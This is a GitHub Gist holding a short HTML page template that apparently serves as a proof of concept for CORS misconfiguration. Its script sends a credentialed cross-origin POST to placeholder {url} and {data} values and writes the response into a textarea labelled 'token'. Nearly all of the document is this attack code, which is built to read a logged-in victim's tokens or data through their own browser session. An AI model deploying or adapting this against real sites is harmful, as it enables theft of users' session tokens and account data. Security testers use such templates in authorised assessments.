Last active
February 15, 2023 19:00
-
-
Save simonuvarov/d9890a87e73860e30e6c64819d503334 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<textarea class='token' style="width: 800px; height: 250px;"></textarea> | |
<script> | |
var req = new XMLHttpRequest(); | |
req.onload = reqListener; | |
req.open('POST','{url}',true); | |
req.withCredentials = true; | |
req.setRequestHeader('Content-Type', "application/x-www-form-urlencoded") | |
req.send("{data}"); | |
function reqListener() { | |
document.getElementsByClassName('token')[0].value = this.responseText; | |
}; | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment